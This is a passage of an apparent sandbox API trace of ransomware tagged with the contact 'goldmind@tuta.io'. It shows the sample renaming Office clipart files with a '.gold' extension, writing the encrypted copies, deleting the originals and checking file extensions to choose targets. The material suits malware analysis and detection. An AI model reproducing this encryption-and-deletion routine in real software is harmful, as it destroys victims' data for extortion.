files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.306] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.306] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0105.307] GetLastError () returned 0x0 [0105.307] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x16f8, lpOverlapped=0x0) returned 1 [0105.320] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0105.321] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.321] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.321] SetEndOfFile (hFile=0x3a8) returned 1 [0105.321] CloseHandle (hObject=0x3a8) returned 1 [0105.321] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.321] SetEndOfFile (hFile=0x364) returned 1 [0105.323] CloseHandle (hObject=0x364) returned 1 [0105.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf")) returned 1 [0105.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0105.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0105.323] lstrlenW (lpString=".doc") returned 4 [0105.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.324] lstrlenW (lpString=".docx") returned 5 [0105.324] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0105.324] lstrlenW (lpString=".pdf") returned 4 [0105.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.324] lstrlenW (lpString=".xls") returned 4 [0105.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.324] lstrlenW (lpString=".xlsx") returned 5 [0105.324] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0105.324] lstrlenW (lpString=".ppt") returned 4 [0105.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0105.324] lstrlenW (lpString=".zip") returned 4 [0105.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.324] lstrlenW (lpString=".rar") returned 4 [0105.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.324] lstrlenW (lpString=".bz2") returned 4 [0105.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.324] lstrlenW (lpString=".7z") returned 3 [0105.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0105.324] lstrlenW (lpString=".dbf") returned 4 [0105.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0105.324] lstrlenW (lpString=".1cd") returned 4 [0105.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0105.324] lstrlenW (lpString=".jpg") returned 4 [0105.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0105.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0105.324] lstrlenW (lpString=".doc") returned 4 [0105.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.324] lstrlenW (lpString=".docx") returned 5 [0105.324] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0105.324] lstrlenW (lpString=".pdf") returned 4 [0105.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.324] lstrlenW (lpString=".xls") returned 4 [0105.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.324] lstrlenW (lpString=".xlsx") returned 5 [0105.324] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0105.324] lstrlenW (lpString=".ppt") returned 4 [0105.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0105.324] lstrlenW (lpString=".zip") returned 4 [0105.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.324] lstrlenW (lpString=".rar") returned 4 [0105.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.324] lstrlenW (lpString=".bz2") returned 4 [0105.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.324] lstrlenW (lpString=".7z") returned 3 [0105.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0105.324] lstrlenW (lpString=".dbf") returned 4 [0105.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0105.325] lstrlenW (lpString=".1cd") returned 4 [0105.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0105.325] lstrlenW (lpString=".jpg") returned 4 [0105.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.325] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.325] lstrlenW (lpString="J0105388.WMF") returned 12 [0105.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0105.471] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=8252) returned 1 [0105.471] CloseHandle (hObject=0x3ac) returned 1 [0105.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf")) returned 0x20 [0105.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.583] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.583] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.583] GetLastError () returned 0x0 [0105.583] ReadFile (in: hFile=0x39c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x203c, lpOverlapped=0x0) returned 1 [0105.605] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2040, lpOverlapped=0x0) returned 1 [0105.606] ReadFile (in: hFile=0x39c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.606] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.606] SetEndOfFile (hFile=0x3b0) returned 1 [0105.606] CloseHandle (hObject=0x3b0) returned 1 [0105.606] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.607] SetEndOfFile (hFile=0x39c) returned 1 [0105.608] CloseHandle (hObject=0x39c) returned 1 [0105.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf")) returned 1 [0105.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0105.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0105.609] lstrlenW (lpString=".doc") returned 4 [0105.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.609] lstrlenW (lpString=".docx") returned 5 [0105.609] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.609] lstrlenW (lpString=".pdf") returned 4 [0105.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.609] lstrlenW (lpString=".xls") returned 4 [0105.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.609] lstrlenW (lpString=".xlsx") returned 5 [0105.609] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.609] lstrlenW (lpString=".ppt") returned 4 [0105.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0105.609] lstrlenW (lpString=".zip") returned 4 [0105.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.609] lstrlenW (lpString=".rar") returned 4 [0105.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.609] lstrlenW (lpString=".bz2") returned 4 [0105.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.609] lstrlenW (lpString=".7z") returned 3 [0105.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0105.609] lstrlenW (lpString=".dbf") returned 4 [0105.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0105.610] lstrlenW (lpString=".1cd") returned 4 [0105.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0105.610] lstrlenW (lpString=".jpg") returned 4 [0105.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0105.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0105.610] lstrlenW (lpString=".doc") returned 4 [0105.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.610] lstrlenW (lpString=".docx") returned 5 [0105.610] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.610] lstrlenW (lpString=".pdf") returned 4 [0105.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.610] lstrlenW (lpString=".xls") returned 4 [0105.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.610] lstrlenW (lpString=".xlsx") returned 5 [0105.610] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.610] lstrlenW (lpString=".ppt") returned 4 [0105.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0105.610] lstrlenW (lpString=".zip") returned 4 [0105.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.610] lstrlenW (lpString=".rar") returned 4 [0105.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.610] lstrlenW (lpString=".bz2") returned 4 [0105.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.610] lstrlenW (lpString=".7z") returned 3 [0105.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0105.610] lstrlenW (lpString=".dbf") returned 4 [0105.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0105.610] lstrlenW (lpString=".1cd") returned 4 [0105.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0105.610] lstrlenW (lpString=".jpg") returned 4 [0105.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.610] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.610] lstrlenW (lpString="J0105490.WMF") returned 12 [0105.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.611] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=18728) returned 1 [0105.611] CloseHandle (hObject=0x39c) returned 1 [0105.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf")) returned 0x20 [0105.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.611] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.611] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.612] GetLastError () returned 0x0 [0105.612] ReadFile (in: hFile=0x39c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x4928, lpOverlapped=0x0) returned 1 [0105.637] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x4930, lpOverlapped=0x0) returned 1 [0105.638] ReadFile (in: hFile=0x39c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.638] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.638] SetEndOfFile (hFile=0x3b0) returned 1 [0105.638] CloseHandle (hObject=0x3b0) returned 1 [0105.638] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.638] SetEndOfFile (hFile=0x39c) returned 1 [0105.640] CloseHandle (hObject=0x39c) returned 1 [0105.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf")) returned 1 [0105.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0105.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0105.781] lstrlenW (lpString=".doc") returned 4 [0105.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.781] lstrlenW (lpString=".docx") returned 5 [0105.781] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.781] lstrlenW (lpString=".pdf") returned 4 [0105.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.781] lstrlenW (lpString=".xls") returned 4 [0105.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.781] lstrlenW (lpString=".xlsx") returned 5 [0105.781] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.781] lstrlenW (lpString=".ppt") returned 4 [0105.781] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0105.781] lstrlenW (lpString=".zip") returned 4 [0105.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.782] lstrlenW (lpString=".rar") returned 4 [0105.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.782] lstrlenW (lpString=".bz2") returned 4 [0105.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.782] lstrlenW (lpString=".7z") returned 3 [0105.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0105.782] lstrlenW (lpString=".dbf") returned 4 [0105.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0105.782] lstrlenW (lpString=".1cd") returned 4 [0105.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0105.782] lstrlenW (lpString=".jpg") returned 4 [0105.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0105.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0105.782] lstrlenW (lpString=".doc") returned 4 [0105.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.782] lstrlenW (lpString=".docx") returned 5 [0105.782] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.782] lstrlenW (lpString=".pdf") returned 4 [0105.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.782] lstrlenW (lpString=".xls") returned 4 [0105.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.782] lstrlenW (lpString=".xlsx") returned 5 [0105.782] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.782] lstrlenW (lpString=".ppt") returned 4 [0105.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0105.782] lstrlenW (lpString=".zip") returned 4 [0105.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.782] lstrlenW (lpString=".rar") returned 4 [0105.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.782] lstrlenW (lpString=".bz2") returned 4 [0105.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.782] lstrlenW (lpString=".7z") returned 3 [0105.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0105.782] lstrlenW (lpString=".dbf") returned 4 [0105.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0105.782] lstrlenW (lpString=".1cd") returned 4 [0105.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0105.783] lstrlenW (lpString=".jpg") returned 4 [0105.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.783] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.783] lstrlenW (lpString="J0105530.WMF") returned 12 [0105.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0105.783] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=7384) returned 1 [0105.783] CloseHandle (hObject=0x394) returned 1 [0105.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf")) returned 0x20 [0105.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0105.784] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.784] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 